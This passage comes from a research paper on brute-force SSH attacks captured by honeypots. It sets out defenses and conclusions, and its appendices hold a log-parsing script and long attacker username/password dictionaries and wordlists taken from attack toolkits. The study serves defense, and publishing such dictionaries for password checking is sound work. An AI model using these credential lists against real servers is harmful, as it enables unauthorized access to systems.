with managing systems like DenyHosts. Initial installation and configuration are quite 

straightforward, in our experience. On the other hand, depending on the number of users 

involved, the effort required to restore service for legitimate users who inadvertently lock 

themselves out of systems after repeated login failures could be significant. 

Using iptables to restrict access to the SSH port by source IP address.  

System administrators can restrict network access to the SSH port (and those of other 

services) to specific source IP addresses or networks by adding source address 

restrictions to iptables firewall rules. A well-written set of iptables rules, designed to limit 

access to an SSH server to a set of authorized IP addresses, can be quite effective in 

preventing brute-force attacks. For server installations where the source IP addresses are 

known in advance, this method should work well. In many installations, however, 

restricting access to a set of known IP addresses may not be feasible and would prevent 

authorized users from logging in from unexpected locations. It should also be noted that 

writing iptables rules can be a complex undertaking, and poorly crafted rule sets may 

inadvertently leave servers vulnerable to attack. 
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Using port-knocking or single packet authorization to restrict access to the 

SSH server port.  Iptables firewall rules can also be adjusted on the fly, using tools such 

as knockd  [KN08] or fwknop  [FW08], to allow SSH server access to specific IP 

addresses. Access is granted based on predetermined sequences of ICMP packets or a 

specially-crafted UDP packet, respectively. Access attempts from IP addresses that do 

not provide the required authorization packets are filtered. In situations where the source 

IP addresses of authorized users is not known in advance, port knocking or SPA can 

provide added flexibility. These methods require client software with the correct 

configuration to be installed on all systems used to connect to the SSH server. This 

additional overhead and the inconvenience it poses for users may limit the feasibility of 

this method in some organizations. 

Requiring public-key authentication in place of passwords. SSH servers such 

as OpenSSH [OP07] support a variety of authentication methods. One commonly-used 

method that virtually eliminates the threat of brute-force password guessing attacks is 

public-key authentication. To use this method, users must generate a public/private key 

pair and place the public key in the appropriate file on the destination server. The private 

key, in turn, must be stored on each client system from which the user wishes to log in to 

the server. To provide protection against brute-force password attacks, the server’s 

system administrator must also disable all password-based SSH authentication. 

While public-key authentication is not always feasible because of the overhead 

involved in generating and distributing keys, SSH servers configured in this way are 

virtually immune to brute-force attacks, provided all password-based authentication is 

disabled. 
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Summary of recommendations. Overall, we find that a number of the 

recommended techniques for defending against brute-force attacks can be quite effective, 

especially when used in combination. For installations in which password-based 

authentication is a necessity, we believe that enforcing strong passwords is the most 

effective method for defending against brute-force SSH attacks. Such a strategy should 

include not only systems that rate the strength of passwords based on length and character 

choice, but also by using a system such as cracklib with dictionaries of passwords 

actually captured in honeypots or derived from other sources. We also recommend 

avoiding the use of account names based on users’ first names. Where possible, our data 

indicated that running the SSH server on non-standard ports is also quite effective. 

Combining password checking with other techniques designed to lower the profile of the 

server or to reduce the volume of malicious login attempts should help to greatly reduce 

the likelihood of system compromise by means of brute-force SSH attacks. 
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6. Related Work 

Several studies of SSH attack traffic have been undertaken in recent years [AN06] 

[RB07] [SE06]. In most cases, the study of SSH attack traffic is part of a larger study, 

which includes attacker activities following system compromise. In our research, we 

were narrowly focused on the malicious login traffic itself, with the goal of developing a 

deeper understanding of the tools and techniques employed in brute-force SSH attacks 

which, by many accounts, continue to represent a significant threat to networked Linux 

systems [SA07a]. We were not interested in observing successful compromises. In fact, 

we patched the OpenSSH server to prevent successful logins via the standard SSH port, 

and we instituted a number of safeguards to protect the honeypots from compromise. 

Microsoft offers a Web-based tool [MI08] that allows users to test the strength of 

candidate passwords without sending their passwords over the Internet. We used the 

Microsoft tool to test the strength of a number of passwords collected in our research 

activities. 

There are a number of projects focused on password checking, as well. Both 

cracklib [CR08] and OpenWall’s pam_passwdqc [PL08] provide helper tools that 

transparently perform password checking as users change their passwords on Unix-based 

systems. Based on our early findings regarding the widespread use of attack dictionaries 

of common usernames and passwords, we reached out to the maintainers of the cracklib 

project in early January 2008 to offer the passwords collected in our research for 

inclusion in cracklib-words. We continue to provide updates to this list on a monthly 

basis. 
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7. Future Work 

Deploying and managing low-interaction honeypots such as those fielded in our 

study is a fairly straightforward process. The work of aggregating and analyzing the data 

collected is more labor intensive. We have developed a set of software tools to support 

automatic consolidation and analysis of honeypot data at a central server. To date, we 

have limited our data collection activities to honeypot systems deployed on our own 

networks and those of other trusted researchers and system administrators.  

We envision developing a more robust toolkit that system administrators could 

easily download, install, and configure to collect data on malicious activity at their own 

sites and contribute the data collected to a central server housed at Clarkson University, 

without the requirement for a high level of trust. Access to the centralized database of 

usernames/ passwords, similar to the central DenyHosts database of malicious IP 

addresses, would be made available to all participating sites. 
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8. Conclusions 

The armies of compromised computer robots, known as botnets, have received a 

lot of attention over the past few years. To date, most of that attention has been focused 

on the compromised Windows machines thought to populate the ranks of botnet armies. 

Until the results of eBay’s recent study of internal security threats were publicized in fall 

2007, little attention was paid to the role compromised Linux systems might play in 

supporting botnets. 

Compared with systems running the Windows operating system, Linux systems 

face a unique threat of compromise from brute-force attacks against SSH servers that 

may be running without the knowledge of system owners/operators. Many Linux 

distributions install the SSH service by default, some without the benefit of an effective 

firewall. Thus, otherwise conscientious system administrators who keep their systems 

fully patched may fall prey to a system compromise caused by a carelessly chosen 

password.  

As we have shown in our testing of a captured SSH toolkit, even relatively 

unskilled attackers can identify and attack SSH servers on an entire Class B network in 

only a few minutes. In addition, SSH brute-force attacks are becoming increasingly 

sophisticated in order to avoid detection by intrusion detection systems. Beginning with 

some relatively crude efforts in January 2008 to disperse malicious login attempts among 

a handful of different IP addresses, we have found evidence of increasingly sophisticated 

coordinated attacks that use IP addresses distributed across an entire Class C network. 

Thus, the number of login attempts originating from a single IP address is reduced to the 
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point that these attacks are practically indistinguishable from routine authorized login 

traffic. As a result, the necessity to enforce the use of strong passwords has become more 

important than ever. 

Our study results show that not all vulnerable passwords can be considered weak, 

based on commonly-held beliefs of password strength. Attackers are using and sharing 

attack dictionaries of username/password pairs that incorporate a significant percentage 

of apparently strong passwords. Using a password checking tool, especially one that 

restricts systematic approaches to password selection, can provide an extra measure of 

protection against malicious login traffic, especially when combined with other protective 

measures designed to reduce the visibility of Internet-facing servers.  

Toward that end, we began providing the passwords collected in our honeypots to 

the maintainers of the cracklib project in January 2008 for inclusion in their cracklib-

words files, and we have established a schedule of regular monthly updates. Using the 

automated system we developed for collecting data used in malicious login attempts, we 

plan to continue and expand this effort. As of mid-March 2008, the updated cracklib-

words lists that include our passwords have been downloaded from SourceForge nearly 

800 times. 
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Appendix A  

The following is the source code of the parse_logs.py script, described in Chapter 2. 
############################################## 
# parse_logs.py                              # 
#                                            # 
# Parses log files from an SSH honeypot      # 
# and stores data in MySQL database          # 
#                                            # 
############################################## 
 
import os 
import sys 
import fileinput 
import MySQLdb 
import time 
import datetime 
 
year = time.localtime()[0] 
def getUser( line ): 
    if line.find('invalid user') >= 0: 
        return (line.split())[10] 
    else: 
        return (line.split())[8] 
 
def getPwd( line ): 
    bits = line.split() 
    tmp = "" 
    i = 6 
    while ( bits[i] != "from" ): 
        tmp += bits[i] + " " 
        i += 1 
    return tmp.strip() 
 
def getInvalidUser( line ): 
    return (line.split())[7] 
 
def getIP( line ): 
    pieces = line.split() 
    return pieces[len(pieces) - 1] 
 
def get_month( mon ): 
    if mon == 'Jan': 
        num = '01' 
    elif mon == 'Feb': 
        num = '02' 
    elif mon == 'Mar': 
        num = '03' 
    elif mon == 'Apr': 
        num = '04' 
    elif mon == 'May': 
        num = '05' 
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    elif mon == 'Jun': 
        num = '06' 
    elif mon == 'Jul': 
        num = '07' 
    elif mon == 'Aug': 
        num = '08' 
    elif mon == 'Sep': 
        num = '09' 
    elif mon == 'Oct': 
        num = '10' 
    elif mon == 'Nov': 
        num = '11' 
    else: 
        num = '12' 
    return num 
 
def get_dtg(mode, line): 
    # mode 1 returns a tuple 
    # mode 2 returns a string 
    global year 
    line_parts = line.split(':') 
    date_parts = line_parts[0].split() 
    month = get_month( date_parts[0] ) 
    day_value = date_parts[1] 
    if len(day_value) == 1: 
        day = '0' + day_value 
    else: 
        day = day_value 
    minute = line_parts[1] 
    second = ((line_parts[2]).split())[0] 
    if mode == 1: 
        return datetime.datetime(year, int(month), int(day), 
int(date_parts[2]), int(minute), int(second)) 
    if mode == 2: 
        return str(year) + '-' + month + '-' + str( day) + ' ' + 
date_parts[2] + ':' + minute + ':' + second 
 
def process_file(cur, last, f): 
    num_records = 0 
    try: 
        getUserInfo = False 
        for line in fileinput.input(f): 
            dtg = get_dtg( 1, line ) 
            if dtg > last and line.find( 'PW-ATTEMP T') >= 0: 
                dtgroup = get_dtg( 2, line) 
                pwd = getPwd( line ) 
                ip = getIP( line ) 
                getUserInfo = True 
            elif getUserInfo and line.find('Failed password') >= 0: 
                username = getUser( line ) 
                cur.execute( "insert into logentry values(null, %s, 
%s, %s, %s)", (dtgroup, username, pwd, ip) ) 
                #query = "insert into logentry valu es(null, %s, %s, 
%s, %s)", (dtgroup, username, pwd, ip) 
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                #print query 
                num_records += 1 
                getUserInfo = False 
    except IOError: 
        print "ERROR: Can't find input file. Outta here!" 
        sys.exit(1) 
 
def main(): 
    # Establish a connection to the local database 
    db = MySQLdb.Connect(host="localhost", user="wa ldo", 
passwd="1a562d", db="sshdlogs") 
    cursor = db.cursor() 
 
    # Get the dtg for the last login attempt entry in the database 
    query = "select max(dtg) from logentry;" 
    cursor.execute(query) 
    row = cursor.fetchone() 
    last_dtg = row[0] 
 
    ############################################### ######### 
    # Check whether we need to process /var/log/aut h.log.0 # 
    ############################################### ######### 
 
    # First, get the dtg for auth.log.0 
    # and turn it into datetime format 
 
    tmp = os.path.getmtime("/var/log/auth.log.0"); 
    auth_zero = datetime.datetime.fromtimestamp(tmp ) 
    #print auth_zero 
     
    # If the dtg of the last entry is prior to the  
    # modification time of /var/log/auth.log.0 
    # then it needs to be processed 
    process_zero = last_dtg < auth_zero 
 
    # Process the old security log file, if require d 
    if process_zero: 
        f = "/var/log/auth.log.0" 
        process_file( cursor, last_dtg, f) 
 
    # Now, process the current security log file 
    f = "/var/log/auth.log" 
    process_file( cursor, last_dtg, f) 
 
    # Close the db 
    db.close() 
 
if __name__ == "__main__": 
    main() 
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Appendix B  

The following is a list of the usernames and passwords for Dictionary 66, described in 
Chapter 3. 

 

Username Password 
root trustno1 
root changeme 
root qazwsx 
root qazwsxedc 
root qpwoeiruty 
root 1q2w3e4r5t 
root qwerty 
root admin 
root 123456 
root secret 
root administrator  
root root 
root root123 
root rootroot 
root redhat 
root 11111 
root 111111 
root !@#$%^ 
root pass123 
root root123456 
root backup 
root passwd 
root password 
root passw0rd 
root master 
root 12345 
root user 
root webadmin 
root 1234 
root 41b2c3 
root 41b2c3d4 
root 4bc123 
root 4bcd1234 
root 4bcd3fgh 
root 4c4d3mi4 
root 4c4d3mic 
root 1q2w3e4r 
root 1q2w3e 
root 1i2o3p 
root i1o2p3 
root abc123 
root abcd1234 

root a1b2c3 
root 1a2b3c 
root a1b2c3d4 
root 1a2b3c4d 
root zxcvbnm 
root poiuyt 
root poiuytrewq 
root pqowie 
root qpwoei 
root zaqxsw 
root aqswdefr 
root zaxscdvf 
root qawsedrf 
root asdfgh 
root asdfghj 
root lpkojihu 
root plokijuh 
root wasd 
root qwaesz 
root eszrdx 
root zsexdr 
root qawzse 
root kenwod 
root kenwood 
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Appendix C  

The three versions of Dictionary-168, described in Chapter 3, are listed below. 

Dictionary 168-a  Dictionary-168b  Dictionary-168c 
Username Password  Username Password  Username Password 

staff staff  staff staff  staff staff 

sales sales  sales sales  sales sales 

recruit recruit  recruit recruit  recruit recruit 

alias alias  alias alias  alias alias 

office office  office office  office office 

samba samba  samba samba  samba samba 

tomcat tomcat  tomcat tomcat  tomcat tomcat 

webadmin webadmin  webadmin webadmin  webadmin weba dmin 

spam spam  spam spam  spam spam 

virus virus  virus virus  virus virus 

cyrus cyrus  cyrus cyrus  cyrus cyrus 

oracle oracle  oracle oracle  oracle oracle 

michael michael  michael michael  michael michael 

ftp ftp  ftp ftp  ftp ftp 

test test  test test  test test 

webmaster webmaster  webmaster webmaster  webmaster  webmaster 

postmaster postmaster  postmaster postmaster  postm aster postmaster 

postfix postfix  postfix postfix  postmaster postfi x 

postfix postgres  postgres postgres  postgres postg res 

paul paul  paul paul  Paul paul 



 

 

C-2

root root  root root  root root 

guest guest  guest guest  guest guest 

admin admin  admin admin  admin admin 

linux linux  linux linux  linux linux 

user user  user user  user user 

david david  david david  david david 

web web  web web  web web 

web apache  apache apache  apache apache 

pgsql pgsql  pgsql pgsql  pgsql pgsql 

pgsql mysql  mysql mysql  mysql mysql 

info info  info info  info info 

tony tony  tony tony  tony tony 

core core  core core  core core 

newsletter newsletter  newsletter newsletter  newsl etter newsletter 

named named  named named  named named 

visitor visitor  visitor visitor  visitor visitor 

ftpuser ftpuser  ftpuser ftpuser  ftpuser ftpuser 

username username  username username  username user name 

administrator administrator  administrator administ rator  administrator administrator 

library library  library library  library library 

test test123  test test123  test test123 

root root123  root root123  root root123 

root master  root master  root master 

admin admin123  admin admin123  admin admin123 

guest guest123  guest guest123  guest guest123 

master master  master master  master master 

root webadmin  root webadmin  root webadmin 
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root admin  root admin  root admin 

root linux  root linux  root linux 

root test  root test  root test 

root webmaster  root webmaster  root webmaster 

admin root  admin root  admin root 

admin administrator  admin administrator  admin adm inistrator 

admin 12345  admin 12345  admin 12345 

admin 123456  admin 123456  admin 123456 

root 123456  root 123456  root 123456 

root 12345678  root 12345678  root 12345678 

test test12345  test test12345  test test12345 

test 123456  test 123456  test 123456 

webmaster 123456  webmaster 123456  webmaster 12345 6 

username password  username password  username pass word 

user password  user password  user password 

root password  root password  root password 

admin password  admin password  admin password 

test password  test password  test password 

root apache  root apache  root apache 

root unix  root unix  root unix 

root redhat  root redhat  root redhat 

danny danny  danny danny  danny danny 

alex alex  alex alex  alex alex 

brett brett  brett brett  brett brett 

mike mike  mike mike  mike mike 

alan alan  alan alan  alan alan 

data data  data data  data data 
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www-data www-data  www-data www-data  www-data www- data 

http http  http http  http http 

httpd httpd  httpd httpd  httpd httpd 

pop pop  pop pop  pop pop 

nobody nobody  nobody nobody  nobody nobody 

root login  root login  root login 

backup backup  backup backup  backup backup 

info 123456  info 123456  info 123456 

shop shop  shop shop  shop shop 

sales sales  sales sales  sales sales 

web web  web web  web web 

www www  www www  www www 

wwwrun wwwrun  wwwrun wwwrun  wwwrun wwwrun 

adam adam  adam adam  adam adam 

stephen stephen  stephen stephen  stephen stephen 

richard richard  richard richard  richard richard 

george george  george george  george george 

john john  john john  john john 

news news  news news  news news 

angel angel  angel angel  angel angel 

games games  games games  games games 

pgsql pgsql123  pgsql pgsql123  pgsql pgsql123 

mail mail  mail mail  mail mail 

adm adm  adm adm  adm adm 

ident ident  ident ident  ident ident 

webpop webpop  webpop webpop  webpop webpop 

susan susan  susan susan  susan susan 
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sunny sunny  sunny sunny  sunny sunny 

steven steven  steven steven  steven steven 

ssh ssh  ssh ssh  ssh ssh 

search search  search search  search search 

sara sara  sara sara  sara sara 

robert robert  robert robert  robert robert 

richard richard  richard richard  richard richard 

party party  party party  party party 

amanda amanda  amanda amanda  amanda amanda 

amanda rpm  rpm rpm  rpm rpm 

operator operator  operator operator  operator oper ator 

sgi sgi  sgi sgi  sgi sgi 

sgi sshd  sshd sshd  sgi sshd 

users users  users users  users users 

admins admins  admins admins  admins admins 

admins 123456  admins 123456  admins 123456 

bin bin  bin bin  bin bin 

daemon daemon  daemon daemon  daemon daemon 

lp lp  lp lp  lp lp 

sync sync  sync sync  sync sync 

shutdown shutdown  shutdown shutdown  shutdown shut down 

halt halt  halt halt  halt halt 

uucp uucp  uucp uucp  uucp uucp 

uucp smmsp  smmsp smmsp  smmsp smmsp 

dean dean  dean dean  dean dean 

unknown unknown  unknown unknown  unknown unknown 

securityagent securityagent  securityagent security agent  securityagent securityagent 
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tokend tokend  tokend tokend  tokend tokend 

windowserver windowserver  windowserver windowserve r  windowserver windowserver 

appowner appowner  appowner appowner  appowner appo wner 

xgridagent xgridagent  xgridagent xgridagent  xgrid agent xgridagent 

agent agent  agent agent  agent agent 

xgridcontroller xgridcontroller  xgridcontroller xg ridcontroller  xgridcontroller xgridcontroller 

jabber jabber  jabber jabber  jabber jabber 

amavisd amavisd  amavisd amavisd  amavisd amavisd 

clamav clamav  clamav clamav  clamav clamav 

appserver appserver  appserver appserver  appserver  appserver 

mailman mailman  mailman mailman  mailman mailman 

cyrusimap cyrusimap  cyrusimap cyrusimap  cyrusimap  cyrusimap 

qtss qtss  qtss qtss  qtss qtss 

eppc eppc  eppc eppc  eppc eppc 

telnetd telnetd  telnetd telnetd  telnetd telnetd 

identd identd  identd identd  identd identd 

gnats gnats  gnats gnats  gnats gnats 

jeff jeff  jeff jeff  jeff jeff 

irc irc  irc irc  irc irc 

list list  list list  list list 

eleve eleve  eleve eleve  eleve eleve 

proxy proxy  proxy proxy  proxy proxy 

sys sys  sys sys  sys sys 

zzz zzz  zzz zzz  zzz zzz 

frank frank  frank frank  frank frank 

dan dan  dan dan  dan dan 

james james  james james  james james 
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snort snort  snort snort  snort snort 

radiomail radiomail  radiomail radiomail  radiomail  radiomail 

harrypotter harrypotter  harrypotter harrypotter  h arrypotter harrypotter 

divine divine  divine divine  divine divine 

popa3d popa3d  popa3d popa3d  popa3d popa3d 

aptproxy aptproxy  aptproxy aptproxy  aptproxy aptp roxy 

desktop desktop  desktop desktop  desktop desktop 

workshop workshop  workshop workshop  workshop work shop 

workshop mailnull  mailnull mailnull  mailnull mail null 

workshop nfsnobody  nfsnobody nfsnobody  nfsnobody nfsnobody 

workshop rpcuser  rpcuser rpcuser  rpcuser rpcuser 

workshop rpc  rpc rpc  rpc rpc 

gopher gopher  gopher gopher  gopher gopher 
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Appendix D  

The following is a list of the usernames and passwords for Dictionary-363 and 
Dictionary-373, described in Chapter 3. 

 
Dictionary-363  Dictionary-373 

Username Password  Username Password 
root admin  root dumn3z3u 

root apple  root 0767390145 

apple apple  admin 0767390145 

root brian  admin dumn3z3u 

brian brian  test dumn3z3u 

root andrew  test 0767390145 

andrew andrew  user dumn3z3u 

root newsroom  user 0767390145 

newsroom newsroom  user1 0729551027 

root magazine  user1 0767390145 

magazine magazine  user1 dumn3z3u 

root research  user 1qazsdfg 

research research  user1 1qazsdfg 

root cjohnson  mail 0767390145 

cjohnson cjohnson  mail 1qazsdfg 

root export  mail dumn3z3u 

export export  root admin 

root photo  root apple 

photo photo  apple apple 

root gast  root brian 

gast gast  brian brian 

root murray  root andrew 

murray murray  andrew andrew 

root falcon  root newsroom 

falcon falcon  newsroom newsroom 

root fly  root magazine 

fly fly  magazine magazine 

root gerry  root research 

gerry gerry  research research 

root test  root cjohnson 

root test1  cjohnson cjohnson 

root teste  root export 

root root  export export 

root guest  root photo 
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root temp  photo photo 

guest guest  root gast 

test test  gast gast 

test1 test1  root murray 

teste teste  murray murray 

admin admin  root falcon 

postgres postgres  falcon falcon 

root root123  root fly 

webmaster webmaster  fly fly 

web web  root gerry 

http http  gerry gerry 

httpd httpd  root test 

www www  root test1 

www1 www1  root teste 

root 12345  root root 

root 123456  root guest 

ftp ftp  root temp 

ftpuser ftpuser  guest guest 

data data  test test 

oracle oracle  test1 test1 

root oracle  teste teste 

user user  admin admin 

root user  postgres postgres 

root install  root root123 

install install  webmaster webmaster 

root linux  web web 

linux linux  http http 

root service  httpd httpd 

service service  www www 

root demo  www1 www1 

demo demo  root 12345 

root mysql  root 123456 

mysql mysql  ftp ftp 

root password  ftpuser ftpuser 

password password  data data 

root pass  oracle oracle 

pass pass  root oracle 

root system  user user 

system system  root user 

temp temp123  root install 

root fedora  install install 
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fedora fedora  root linux 

falcon falcon  linux linux 

root falcon  root service 

root cocolino  service service 

cocolino cocolino  root demo 

server server  demo demo 

root server  root mysql 

root master  mysql mysql 

master master  root password 

root www-data  password password 

www-data www-data  root pass 

root andrew  pass pass 

andrew andrew  root system 

root postmaster  system system 

postmaster postmaster  temp temp123 

testuser testuser  root fedora 

tester tester  fedora fedora 

root testuser  falcon falcon 

root tester  root falcon 

root knoppix  root cocolino 

knoppix knoppix  cocolino cocolino 

root design  server server 

design design  root server 

root public  root master 

public public  master master 

root 24021988  root www-data 

root fagaras  www-data www-data 

root poiuytrewq  root andrew 

root qwertyuiop  andrew andrew 

root qazwsxedcrfvtgbyhnum  root postmaster 

root qazwsxedc  postmaster postmaster 

root qsxesz  testuser testuser 

root q1w2e3r4  tester tester 

root q2w3e4r5  root testuser 

root 2wsx3edc  root tester 

root 1qwe23  root knoppix 

root 0plmnko9  knoppix knoppix 

root 7yhn  root design 

root 5tgb6yhn  design design 

root qwerty123  root public 

root root  public public 
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root r@@t  root 24021988 

root 1qaz2wsx  root fagaras 

root 1qa2ws  root poiuytrewq 

root 1qa2ws3ed  root qwertyuiop 

root 1qaz2wsx3edc  root qazwsxedcrfvtgbyhnum 

root 0o9i8u7y  root qazwsxedc 

root 0ok9ij  root qsxesz 

root qpoeiruty  root q1w2e3r4 

root changeme  root q2w3e4r5 

root www123  root 2wsx3edc 

root 123www  root 1qwe23 

root qpwoeiruty  root 0plmnko9 

root root123  root 7yhn 

root root1  root 5tgb6yhn 

root root!  root qwerty123 

root root!@#  root root 

root root1234  root r@@t 

root root!@#$  root 1qaz2wsx 

root !@#$  root 1qa2ws 

root !@#  root 1qa2ws3ed 

root 123  root 1qaz2wsx3edc 

root 1234  root 0o9i8u7y 

root 12345  root 0ok9ij 

root 123456  root qpoeiruty 

root 1234567  root changeme 

root rootroot  root www123 

root rootpass  root 123www 

root rootuser  root qpwoeiruty 

root userroot  root root123 

root qwerty  root root1 

root q1w2e3r4  root root! 

root 1q2w3e4r  root root!@# 

root qwer1234  root root1234 

root abc123  root root!@#$ 

root 123abc  root !@#$ 

root 1a2b3c4d  root !@# 

root qawsed  root 123 

root zxcvbnm  root 1234 

root asdfgh  root 12345 

root a  root 123456 

root abc  root 1234567 
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root abcdef  root rootroot 

root qwe123  root rootpass 

guset 123qwe  root rootuser 

root q1w2e3  root userroot 

root 1q2w3e  root qwerty 

root pass1234  root q1w2e3r4 

root 1111  root 1q2w3e4r 

root 111111  root qwer1234 

root 11111  root abc123 

root aaa  root 123abc 

root rootabc  root 1a2b3c4d 

root 123root123  root qawsed 

root root#  root zxcvbnm 

root !@#$%  root asdfgh 

root !@#$%^  root a 

root pass123  root abc 

root abc  root abcdef 

root abcde  root qwe123 

root abcdef  guset 123qwe 

root abcdefg  root q1w2e3 

root abcdefgh  root 1q2w3e 

root abcdefghi  root pass1234 

root default  root 1111 

root p@ssw0rd  root 111111 

root p@ssword  root 11111 

root passw0rd  root aaa 

root pa$$word  root rootabc 

root pa55word  root 123root123 

root pa55w0rd  root root# 

root kx028897chebeuname+a  root !@#$% 

root asdfghjkl  root !@#$%^ 

root lkjhgfdsa  root pass123 

root mnbvcxz  root abc 

root zxcvbnm  root abcde 

root zsexdrcft  root abcdef 

root wsxedcrfvtgb  root abcdefg 

root swdefr  root abcdefgh 

root aqswde  root abcdefghi 

root zdxfcgvh  root default 

root o9q1w2e3i8u7  root p@ssw0rd 

root 3edc4rfv5tgb  root p@ssword 
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root bhunjimkolp  root passw0rd 

root root12345  root pa$$word 

root rootrootroot  root pa55word 

root rootadmin  root pa55w0rd 

root pulamea  root kx028897chebeuname+a 

root polamea  root asdfghjkl 

root root  root lkjhgfdsa 

root root1  root mnbvcxz 

root root12  root zxcvbnm 

root root123  root zsexdrcft 

root root1234  root wsxedcrfvtgb 

root root12345  root swdefr 

root root123456  root aqswde 

root root1234567  root zdxfcgvh 

root root12345678  root o9q1w2e3i8u7 

root root123456789  root 3edc4rfv5tgb 

root parolanoua  root bhunjimkolp 

root parola  root root12345 

test test  root rootrootroot 

test test123  root rootadmin 

test tests  root pulamea 

test 123456  root root1 

guest guest  root root12 

guest 123456  root root123 

admin admin  root root1234 

admin admins  root root12345 

user user  root root123456 

user 123456  root root1234567 

cyrus cyrus  root root12345678 

mysql mysql  root root123456789 

emily emily  root parolanoua 

emma emma  root parola 

madison madison  test test123 

hannah hannah  test tests 

hailey hailey  test 123456 

sarah sarah  guest 123456 

kaitlyn kaitlyn  admin admins 

isabella isabella  user 123456 

olivia olivia  cyrus cyrus 

abigail abigail  mysql mysql 

madeline madeline  emily emily 
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kaylee kaylee  emma emma 

alyssa alyssa  madison madison 

grace grace  hannah hannah 

sophia sophia  hailey hailey 

lauren lauren  sarah sarah 

brianna brianna  kaitlyn kaitlyn 

alexis alexis  isabella isabella 

sydney sydney  olivia olivia 

megan megan  abigail abigail 

chloe chloe  madeline madeline 

ashley ashley  kaylee kaylee 

samantha samantha  alyssa alyssa 

taylor taylor  grace grace 

elizabeth elizabeth  sophia sophia 

anna anna  lauren lauren 

ana ana  brianna brianna 

mia mia  alexis alexis 

kayla kayla  sydney sydney 

makayla makayla  megan megan 

riley riley  chloe chloe 

zoe zoe  ashley ashley 

jordan jordan  samantha samantha 

kylie kylie  taylor taylor 

allison allison  elizabeth elizabeth 

katherine katherine  anna anna 

tachel rachel  ana ana 

lily lily  mia mia 

ella ella  kayla kayla 

julia julia  makayla makayla 

isabelle isabelle  riley riley 

natalie natalie  zoe zoe 

morgan morgan  jordan jordan 

ava ava  kylie kylie 

mackenzie mackenzie  allison allison 

victoria victoria  katherine katherine 

paige paige  tachel rachel 

abby abby  lily lily 

jessica jessica  ella ella 

jasmine jasmine  julia julia 

savannah savannah  isabelle isabelle 

arianna arianna  natalie natalie 
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maya maya  morgan morgan 

brooke brooke  ava ava 

rebecca rebecca  mackenzie mackenzie 

katie katie  victoria victoria 

alexandra alexandra  paige paige 

jenna jenna  abby abby 

gabriella gabriella  jessica jessica 

bailey bailey  jasmine jasmine 

destiny destiny  savannah savannah 

trinity trinity  arianna arianna 

avery avery  maya maya 

caroline caroline  brooke brooke 

nicole nicole  rebecca rebecca 

faith faith  katie katie 

erin erin  alexandra alexandra 

amanda amanda  jenna jenna 

gabrielle gabrielle  gabriella gabriella 

audrey audrey  bailey bailey 

molly molly  destiny destiny 

sophie sophie  trinity trinity 

alexa alexa  avery avery 

claire claire  caroline caroline 

aaliyah aaliyah  nicole nicole 

leah leah  faith faith 

kate kate  erin erin 

skylar skylar  amanda amanda 

mckenna mckenna  gabrielle gabrielle 

kennedy kennedy  audrey audrey 

peyton peyton  molly molly 

lindsey lindsey  sophie sophie 

ashlyn ashlyn  alexa alexa 

carly carly  claire claire 

marissa marissa  aaliyah aaliyah 

gracie gracie  leah leah 

sierra sierra  kate kate 

lillian lillian  skylar skylar 

jillian jillian  mckenna mckenna 

reagan reagan  kennedy kennedy 

shelby shelby  peyton peyton 

amelia amelia  lindsey lindsey 

jada jada  ashlyn ashlyn 
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kendall kendall  carly carly 

courtney courtney  marissa marissa 

brooklyn brooklyn  gracie gracie 

autumn autumn  sierra sierra 

mary mary  lillian lillian 

amber amber  jillian jillian 

maggie maggie  reagan reagan 

danielle danielle  shelby shelby 

ben ben  amelia amelia 

jacob jacob  jada jada 

aidan aidan  kendall kendall 

ethan ethan  courtney courtney 

matthew matthew  brooklyn brooklyn 

nicholas nicholas  autumn autumn 

joshua joshua  mary mary 

ryan ryan  amber amber 

michael michael  maggie maggie 

zachary zachary  danielle danielle 

tyler tyler  ben ben 

dylan dylan  jacob jacob 

andrew andrew  aidan aidan 

connor connor  ethan ethan 

jack jack  matthew matthew 

christopher christopher  nicholas nicholas 

caleb caleb  joshua joshua 

alexander alexander  ryan ryan 

logan logan  michael michael 

jayden jayden  zachary zachary 

nathan nathan  tyler tyler 

noah noah  dylan dylan 

joseph joseph  andrew andrew 

benjamin benjamin  connor connor 

daniel daniel  jack jack 

william william  christopher christopher 

anthony anthony  caleb caleb 

cameron cameron  alexander alexander 

james james  logan logan 

austin austin  jayden jayden 

jackson jackson  nathan nathan 

justin justin  noah noah 

brandon brandon  joseph joseph 
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john john  benjamin benjamin 

   daniel daniel 

   william william 

   anthony anthony 

   cameron cameron 

   james james 

   austin austin 

   jackson jackson 

   justin justin 

   brandon brandon 

   john john 
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Appendix E  

The following is the list of 3,342 words from a file named common, which was contained 
in the webmin toolkit, described in Chapter 4. 

000 
0000 
00000 
000000 
0000000 
00000000 
111 
1111 
11111 
111111 
1111111 
11111111 
123 
1234 
123456 
1900 
1901 
1902 
1903 
1904 
1905 
1906 
1907 
1908 
1909 
1910 
1911 
1912 
1913 
1914 
1915 
1916 
1917 
1918 
1919 
1920 
1921 
1922 
1923 
1924 
1925 
1926 
1927 
1928 
1929 
1930 
1931 
1932 
1933 

1934 
1935 
1936 
1937 
1938 
1939 
1940 
1941 
1942 
1943 
1944 
1945 
1946 
1947 
1948 
1949 
1950 
1951 
1952 
1953 
1954 
1955 
1956 
1957 
1958 
1959 
1960 
1961 
1962 
1963 
1964 
1965 
1966 
1967 
1968 
1969 
1970 
1971 
1972 
1973 
1974 
1975 
1976 
1977 
1978 
1979 
1980 
1981 
1982 

1983 
1984 
1985 
1986 
1987 
1988 
1989 
1990 
1991 
1992 
1993 
1994 
1995 
1996 
1997 
1998 
1999 
2000 
2001 
2002 
2003 
2004 
2005 
2006 
2007 
2008 
2009 
2010 
222 
2222 
22222 
222222 
2222222 
22222222 
333 
3333 
33333 
333333 
3333333 
33333333 
444 
4444 
44444 
4444444 
44444444 
555 
5555 
55555 
555555 

5555555 
55555555 
666 
6666 
66666 
666666 
6666666 
66666666 
777 
7777 
77777 
777777 
7777777 
77777777 
888 
8888 
88888 
888888 
8888888 
88888888 
999 
9999 
99999 
999999 
9999999 
99999999 
aaa 
aaaa 
aaaaa 
aaaaaa 
aaaaaaa 
aaaaaaaa 
aaron 
aarti 
abc 
abdenace 
abdol 
abdul 
abdulkaf 
abdullah 
abdur 
abhijit 
abhiram 
abraham 
abrar 
acacia 
academia 
academic 
accept 

access 
ada 
adam 
adel 
adi 
adib 
adine 
adm 
admin 
adrian 
adrianna 
adrianne 
adrien 
adrienne 
adult 
aeneas 
aerobics 
afrid 
aggie 
agnes 
ahidee 
ahmed 
ahmet 
aileen 
aimee 
airplane 
ajai 
ajay 
akhil 
akiko 
alain 
alamgir 
alan 
alastair 
alayne 
albany 
